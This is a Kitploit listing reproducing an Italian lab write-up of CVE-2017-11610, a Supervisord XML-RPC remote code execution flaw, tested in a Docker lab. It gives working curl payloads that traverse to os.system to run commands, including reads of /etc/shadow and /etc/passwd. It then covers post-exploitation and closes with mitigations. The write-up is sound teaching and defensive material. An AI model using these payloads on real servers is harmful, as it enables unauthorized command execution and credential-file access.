Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-11610 — Analisi passo-passo dell'exploit per CVE-2017-11610 (Supervisord XML-RPC RCE) con analisi della superficie d'attacco, scoperta di traversal dei namespace e tecniche di post-exploitation in un ambiente lab Docker. | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2017-11610
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoLab e Pratica
GitHubdungsocool/cve-2017-11610

CVE-2017-11610

Analisi passo-passo dell'exploit per CVE-2017-11610 (Supervisord XML-RPC RCE) con analisi della superficie d'attacco, scoperta di traversal dei namespace e tecniche di post-exploitation in un ambiente lab Docker.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LAB 3- CVE-2017-11610

I. ANALISI DEL SISTEMA

Identificazione della superficie d'attacco nell'ambiente Docker

Iniziando con ciò che è in esecuzione nell'ambiente. Elenco tutti i contenitori attivi:``` docker ps-a

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/528df65b5736399b78ecfb94ba4506b37ef721e8e31f8247ad7d022a4e54124b.png)

**La vittima espone una singola porta: `9001`**.

La porta 9001 non è un'applicazione web standard. Consultando il **database delle porte** si scopre che questa porta potrebbe essere associata a **Supervisord** (ETL Service Manager secondo IANA), Tor proxy, o qualche altro servizio interno. Tuttavia, non possiamo trarre una conclusione basandoci unicamente sul numero di porta.

⇒ Eseguo curl direttamente per leggere la risposta e accedo anche all'interfaccia web per raccogliere ulteriori informazioni.```
curl -i http://192.168.3.137:9001/

image.png

image.png

Analisi della risposta:

  • La risposta restituita mostra Server: Medusa/1.12 e il titolo Supervisor Status

→ Confermato che si tratta di Supervisord, non di Tor o altri servizi.

  • Nessun modulo di login, nessun prompt di autenticazione ⇒ L'accesso non richiede autenticazione
  • Funzionalità esposte: REFRESH, RESTART ALL, STOP ALL
  • Valutazione della superficie d'attacco:

Supervisord è un gestore di processi su Linux. Se porta 9001 è esposta in rete senza password, questa è una configurazione pericolosa. Un attaccante potrebbe visualizzare servizi, riavviare/fermare processi e, in determinate configurazioni, sfruttarla per eseguire comandi se dispone dei privilegi per modificare o controllare i programmi gestiti.

Conclusione dell'analisi: Possiamo confermare che il target sta esponendo l'interfaccia di amministrazione di Supervisord in rete sulla porta 9001. Non si tratta di un servizio web standard, ma di un'interfaccia di gestione utilizzata per monitorare e controllare i processi. La possibilità di accedere a questa interfaccia senza autenticazione crea un rischio che un attaccante possa visualizzare lo stato dei servizi gestiti o interagire con essi.

Tuttavia, dobbiamo distinguere tra l'interfaccia utente visibile e il meccanismo di controllo sottostante. Pulsanti come REFRESH, RESTART ALL e STOP ALL non elaborano richieste autonomamente sul frontend; invece, devono chiamare un'interfaccia/backend di Supervisord per recuperare lo stato o inviare comandi di controllo dei processi. Pertanto, dopo aver confermato che la Web UI è esposta, il passo successivo dell'analisi è determinare se l'interfaccia di controllo sottostante esiste dietro la Web UI e se richiede autenticazione.

⇒ Riflessione: Necessità di verificare se l'interfaccia di controllo dietro la Web UI esiste e se richiede autenticazione.

Verifica del protocollo XML-RPC

image.png

Secondo la documentazione di Supervisor, [inet_http_server] è un server HTTP che ascolta su un socket TCP. Questa interfaccia non è abilitata per impostazione predefinita, dovrebbe essere utilizzata solo in ambienti fidati, non supporta la crittografia e non ha autenticazione predefinita a meno che non siano configurati username/password.

La documentazione indica anche che la porta di [inet_http_server] è utilizzata per ricevere richieste HTTP/XML-RPC; supervisorctl utilizza XML-RPC per comunicare con supervisord tramite questa porta. Ciò corrisponde alla nostra osservazione in laboratorio: il contenitore espone 0.0.0.0:9001->9001/tcp, la Web UI è accessibile senza autenticazione e la versione visualizzata è Supervisor 3.3.2.

Pertanto, dopo aver confermato la Web UI sulla porta 9001, il passo successivo è ispezionare l'endpoint XML-RPC /RPC2. Basandoci sul meccanismo ufficiale di Supervisord, dobbiamo verificare questi obiettivi:

  • Se /RPC2 esista.
  • Se l'endpoint richieda autenticazione.
  • Se possiamo chiamare metodi non distruttivi come supervisor.getState o system.listMethods.
  • Se l'RPC può essere chiamato senza autenticazione, il livello di rischio scala da una Web UI esposta a un'API di controllo dei processi esposta.

Verificare se l'endpoint è attivo:``` curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/f97bef2d42858c30a246414af228b739e3a49e9ed633b48e68f5702db1b289af.png)

Il risultato restituisce `HTTP/1.1 200 OK`, non `401 Unauthorized` o `403 Forbidden`, dimostrando che la richiesta è stata accettata dal server senza credenziali. La risposta è nel formato XML-RPC `<methodResponse>` e contiene `statename=RUNNING` e `statecode=1`, provando che l'endpoint `/RPC2` è attivo e che il metodo `supervisor.getState` è stato eseguito con successo.

**⇒ Riflessione:** La superficie d'attacco non è più limitata all'interfaccia Web, ma si è estesa all'API XML-RPC, dove vengono gestiti i comandi di controllo dei daemon/processi. Da qui, la prossima direzione di analisi è **verificare come Supervisor** gestisce `methodName` in **XML-RPC**, per determinare se il target corrente **mostra il comportamento di CVE-2017-11610**, che risiede nel meccanismo di dispatch/ricerca di questo metodo. Dobbiamo verificarlo per concludere se si tratta di **CVE-2017-11610**.

### **Analisi dell'elaborazione del nome del metodo in XML-RPC**

Nel passaggio precedente, abbiamo chiamato con successo il metodo `supervisor.getState` tramite l'endpoint `/RPC2`. Questo solleva la domanda successiva: quando riceve un `methodName` basato su stringa, come fa Supervisord a mappare quella stringa alla funzione Python interna?

In XML-RPC, i metodi tipicamente utilizzano namespace, ad esempio:

- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`

Logicamente, il server riceve la stringa `methodName`, la divide in base al punto `.` e cerca l'oggetto/funzione corrispondente all'interno dell'handler registrato.

Il pseudo-codice può essere compreso come segue:

```python
# Pseudo-code: method dispatch in XML-RPC
def dispatch_method(methodName):
    parts = methodName.split('.')
    # parts[0] = namespace (e.g., 'supervisor')
    # parts[1] = method name (e.g., 'getState')
    handler = get_handler(parts[0])
    method = getattr(handler, parts[1])
    return method(*args)
``````python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
    parts = method_name.split(".")          # ["supervisor", "getState"]

    obj = registered_handlers[parts[0]]     # get namespace "supervisor"

    for attr in parts[1:]:
        obj = getattr(obj, attr)            # lookup the next attribute

    return obj(*params)                     # call the final function

Per i metodi standard come supervisor.getState, questo meccanismo funziona normalmente: il server recupera il gestore supervisor, quindi chiama la funzione getState. Tuttavia, il problema principale di CVE-2017-11610 è che questo meccanismo di ricerca non limita sufficientemente gli attributi che possono essere acceduti. Se un attaccante controlla methodName, può non solo chiamare metodi pubblici come getState, ma anche addentrarsi più a fondo negli oggetti/moduli interni raggiungibili dal gestore supervisor.

In altre parole, il punto . in methodName non è usato solo per invocare metodi validi, ma può essere abusato per attraversare attributi di oggetti.

Questo stabilisce il nostro percorso di exploit:

supervisor → supervisord → options → warnings → linecache → os → system

L'idea è di partire dal gestore supervisor, seguire gli attributi fino agli oggetti interni del demone, e poi sfruttare moduli Python pre-importati per raggiungere os.system. Se os.system può essere chiamato, l'attaccante può eseguire comandi di sistema con i privilegi del processo supervisord.

Quindi, la catena di attacco segue questa logica:

/RPC2 accetta chiamate di metodo non autenticate → si ispeziona come XML-RPC assegna methodName → si scopre che methodName può attraversare attributi di oggetti → si arriva a chiamare os.system.

II. EXPLOIT

Confermare che l'attraversamento del namespace funzioni

Prima, devo verificare se il server effettivamente permette di attraversare attributi interni. Proverò a chiamare un method name più lungo del solito. Se il server restituisce un errore "metodo non trovato", un filtro è attivo; se restituisce un errore diverso (o riesce), l'attraversamento funziona.

Pensando: So già che supervisor.getState funziona. Se provo supervisor.supervisord—che va un livello più a fondo—e il server non restituisce un errore unknown method, significa che sta effettivamente usando getattr ricorsivo senza una whitelist.

Sappiamo che XML-RPC è un protocollo di chiamata di procedura remota su HTTP, con dati codificati in XML. Ogni richiesta è composta solo da 3 componenti fissi:```

FUNCTION_NAME VALUE ``` Struttura semplice — basta sostituire `` e ``. Se la funzione non richiede parametri, lascia `` vuoto. Se la funzione richiede una stringa, avvolgila all'interno di `...`. Non è una conoscenza segreta — leggere la RFC XML-RPC lo spiega in dettaglio.

⇒ Applicazione: prova a chiamare un methodName più lungo del solito per verificare l'attraversamento del namespace:``` curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/2e90c7be7c467c3e59434434765b5a823150ebdd7206775390b53b92532b5254.png)

Il risultato restituisce un `HTTP 500 Internal Server Error` invece del normale errore `unknown method`. Ciò indica che il server non blocca il `methodName` a un livello di namespace valido, ma ha invece continuato a elaborare la catena `supervisor.supervisord.options` durante l'invio. In altre parole, la richiesta ha attraversato profondamente il meccanismo di ricerca degli attributi; l'errore si è verificato in un passaggio successivo quando l'oggetto risolto non era invocabile come metodo. Questo è un chiaro indicatore che la traversata del namespace tramite `methodName` è attiva.

### **Trovare il Percorso verso la Funzione di Esecuzione dei Comandi**

La traversata funziona. Il passo successivo è **trovare una catena di attributi che termini con una funzione invocabile in grado di eseguire comandi di sistema.** In Python, il bersaglio più semplice da verificare è `os.system()`. Tuttavia, **non abbiamo una shell sul target** e **non possiamo leggere direttamente gli oggetti sorgente/runtime nel contenitore.** Pertanto, dobbiamo **dedurre dai meccanismi di import di Python** e **verificare le dipendenze localmente prima.**

La catena da ispezionare è:

`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`

- Supervisord è scritto in Python, quindi oggetti interni come `options` sono oggetti Python con attributi.
- Se un modulo importa un altro modulo tramite `import X`, allora `X` esisterà nel namespace di quel modulo.
- Nella libreria standard Python, il modulo `warnings` importa `linecache` per ottenere il contesto quando visualizza avvisi.
- Il modulo `linecache` importa `os` per manipolazioni di percorsi/file.
- Il modulo `os` fornisce la funzione `system()`, che è un invocabile in grado di eseguire comandi shell.

Conferma questa dipendenza localmente prima di provarla sul target:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True

python3 -c "import linecache; print('os' in dir(linecache))"
# True

python3 -c "import os; print(callable(os.system))"
# True

⇒ Riflessione: La catena di dipendenze warnings → linecache → os è una dipendenza reale nella libreria standard di CPython; e system è effettivamente una funzione chiamabile nel modulo os. Combinata con la falla di attraversamento del namespace in XML-RPC, se possiamo raggiungere supervisord.options.warnings dal gestore supervisor, possiamo continuare ad attraversare fino a linecache.os.system per invocare comandi di sistema.

Costruzione del Payload RCE e dell'Esecuzione

Dopo aver identificato la catena di attraversamento verso os.system, il passo successivo è costruire la richiesta XML-RPC per chiamare questa funzione. In Python, os.system() accetta un parametro stringa che rappresenta il comando shell da eseguire, e restituisce il codice di uscita del comando. Questa funzione non restituisce direttamente lo stdout alla risposta XML-RPC, quindi per provare che il comando è stato eseguito, dobbiamo reindirizzare l'output in un file.

⇒ Riflessione: Nessun output diretto nella risposta, quindi scriviamo i risultati in /tmp. La directory /tmp è tipicamente scrivibile da tutti gli utenti su Linux. Un payload di verifica sicuro è:

id > /tmp/rce_proof.txt

Applicando il template XML-RPC analizzato sopra, sostituire <methodName> con la catena di attraversamento verso os.system e passare il comando shell all'interno di <string>:```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/c707fc5eccd973a810240b84646b2c70ff8c09023e5e1b626206489607b6e1da.png)

Il valore `<int>0</int>` è il codice di uscita di `os.system()`, non l'stdout del comando. Un codice di uscita `0` indica che il comando shell è stato eseguito con successo. Lo verifichiamo leggendo il file all'interno del contenitore:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

image.png

⇒ RCE confermata. Il comando id è stato eseguito all'interno del container, con i privilegi dell'utente nobody (uid=65534).

Punto chiave: L'RCE è ottenuta, ma i privilegi di esecuzione dipendono dall'utente che esegue il processo supervisord. In questo laboratorio, il comando viene eseguito con l'utente nobody, il che significa che l'impatto è più limitato rispetto a se supervisord fosse eseguito come root.

Identificazione dei limiti di privilegio

Dopo aver confermato l'RCE, vediamo che nobody è un utente a bassi privilegi su Linux. Tuttavia, dovremmo verificarlo nella pratica piuttosto che affidarci solo all'output di id. Il metodo di verifica consiste nel tentare di leggere /etc/shadow, poiché questo file è solitamente leggibile solo da root e dal gruppo shadow. Se leggibile, il processo ha privilegi elevati; se bloccato, i privilegi sono effettivamente limitati.

Invia il payload per leggere /etc/shadow e reindirizza sia stdout che stderr verso un file:```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/bc9385f2f63d1655cbf3e8ecf39700242908aedc1f759809e5dbb661747e7c66.png)

La risposta restituisce `<int>256</int>`, che è il valore di ritorno di `os.system()`. Su Unix, gli stati di uscita sono codificati; `256` corrisponde al codice di uscita del comando shell `1`. Questo indica che il comando è stato eseguito ma fallito.

Confermiamo la causa del fallimento leggendo il file di output all'interno del container e controllando i permessi di `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

image.png

I risultati mostrano che il file di output ha registrato questo errore:

cat: /etc/shadow: Permission denied

I permessi per /etc/shadow sono:

  • rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow

Il file /etc/shadow è di proprietà di root, gruppo shadow, ed è leggibile solo dal proprietario/gruppo. Nel frattempo, la nostra precedente RCE ha confermato che il comando viene eseguito con l'utente nobody; questo utente non appartiene al gruppo shadow e pertanto non può leggere questo file.

⇒ Conclusione: La RCE è stata ottenuta, ma i privilegi sono effettivamente limitati all'utente nobody. Questa è una distinzione critica rispetto a un servizio eseguito come root: l'attaccante può eseguire comandi, ma non ottiene automaticamente il controllo totale del sistema.

III. POST-ESPLOITAZIONE

Raccolta di Informazioni di Sistema

Sebbene non possiamo leggere /etc/shadow, la RCE ci consente comunque di eseguire comandi con i privilegi di nobody. Pertanto, possiamo continuare a raccogliere informazioni che questo utente è autorizzato a leggere, come l'elenco dei processi in esecuzione e le informazioni sugli utenti nel sistema.

Elencare i processi in esecuzione e leggere i risultati dal contenitore:```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/e9cf4dd6bc55d3b5eee8b31187277a5ac798b8bea9feb77021ee5da5565c7011.png)```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

image.png

PID 1 nel contenitore viene eseguito come root, ma il processo supervisord viene eseguito come nobody. Questo spiega perché l'RCE ha avuto successo ma non aveva i privilegi per leggere i file riservati a root.

Risultato: ps aux mostra che PID 1 nel contenitore è /bin/bash /usr/local/bin/docker-entrypoint.sh eseguito come root, mentre il processo supervisord viene eseguito come nobody.

Questo spiega perché l'RCE ha avuto successo ma non aveva i permessi per leggere i file di solo root: il comando viene eseguito con i privilegi del processo supervisord, non di PID 1.

Verifica delle informazioni sull'utente di sistema e lettura dei risultati dal contenitore:```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/d0233dd1a03fa36fba951f26c87901e0a031ec406cf1e364cd5c1d1c636e19b5.png)```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

image.png

Risultato: /etc/passwd mostra che il sistema contiene principalmente utenti predefiniti come root, daemon, nobody e _apt; non sono stati rilevati utenti di servizio aggiuntivi. Ciò indica che l'ambiente container è minimale, privo di altri account applicativi da sfruttare o da cui muoversi in questa fase.

Osservazioni sulla reverse shell

In questo laboratorio non è stato possibile stabilire una reverse shell. Tuttavia, non dobbiamo concludere semplicemente che una rete bridge Docker blocchi sempre le reverse shell, poiché i container Docker in genere mantengono capacità di connessione in uscita tramite NAT. La causa potrebbe derivare da routing, firewall, listener, interfacce o dalla configurazione di rete dell'ambiente di laboratorio.

Il punto cruciale è: il fallimento della reverse shell non altera la conclusione principale. L'RCE è stato confermato con il payload id, codice di uscita 0 e il file di output in /tmp. L'attaccante può eseguire comandi arbitrari all'interno del container con i privilegi dell'utente nobody.

IV. VALUTAZIONE DEL RISCHIO & RACCOMANDAZIONI

Valutazione del Rischio

Raccomandazioni per la Mitigazione

Priorità Urgente

  1. Aggiornare Supervisord alla versione corretta

    Aggiornare Supervisor alla versione >= 3.3.3. La versione corretta elimina completamente il meccanismo di ricerca ricorsiva dei namespace in XML-RPC, che era la causa principale di CVE-2017-11610.

  2. Non esporre [inet_http_server] alla rete se non necessario

    Se l'interfaccia Web o la gestione remota non sono necessarie, disabilitare completamente [inet_http_server]. Si tratta di un'interfaccia di gestione che non dovrebbe essere ampiamente accessibile sulla rete.

  3. Limitare l'indirizzo di binding

    Se si ha comunque bisogno dell'interfaccia Web abilitata, effettuare il binding solo su localhost invece di 0.0.0.0:

    root@kitploit:~
    [inet_http_server]
    port=127.0.0.1:9001
    

Priorità Alta

  1. Abilitare l'autenticazione per [inet_http_server]

    Se è necessario esporre questa interfaccia per l'amministrazione remota, configurare un nome utente/password forte:

    [inet_http_server] port=127.0.0.1:9001 username=admin password=<password_forte>

    Se deve essere associata alla rete, non affidarsi solo a una password; posizionarla dietro una VPN/reverse proxy o limitare l'accesso per IP.

  2. Limitare l'accesso tramite firewall

    Consentire solo gli IP amministrativi per l'accesso alla porta 9001, ad esempio tramite un firewall/gruppo di sicurezza. Non esporre questa porta a Internet pubblico o all'intera rete interna.

  3. Eseguire supervisord con un utente a bassi privilegi

    Questo laboratorio viene eseguito con l'utente nobody, mantenendo l'impatto limitato. In ambienti reali, evitare di eseguire supervisord come root se non assolutamente necessario.

Scarica lo strumento
CriterioValutazioneDettagli
Punteggio CVSS9.8 (Critico)Secondo CVE/NVD, la vulnerabilità è un RCE non autenticato su Supervisor <= 3.3.2
AutenticazioneNon richiestaL'endpoint /RPC2 elabora richieste XML-RPC senza richiedere nome utente/password
ComplessitàBassaSfruttabile tramite richieste XML-RPC manuali, senza necessità di Metasploit
Privilegi OttenutinobodyL'RCE viene eseguito con i privilegi del processo supervisord; in questo laboratorio, limitato all'utente nobody
ImpattoAltoIn grado di eseguire comandi, scrivere file in directory scrivibili come /tmp e raccogliere informazioni di sistema
LimitiImpossibile leggere file di solo root/etc/shadow ha restituito Permission Denied, dimostrando che i privilegi non sono root
Pivoting su Rete InternaPossibileL'utente nobody può comunque tentare di connettersi ad altri servizi/container se le policy di rete lo consentono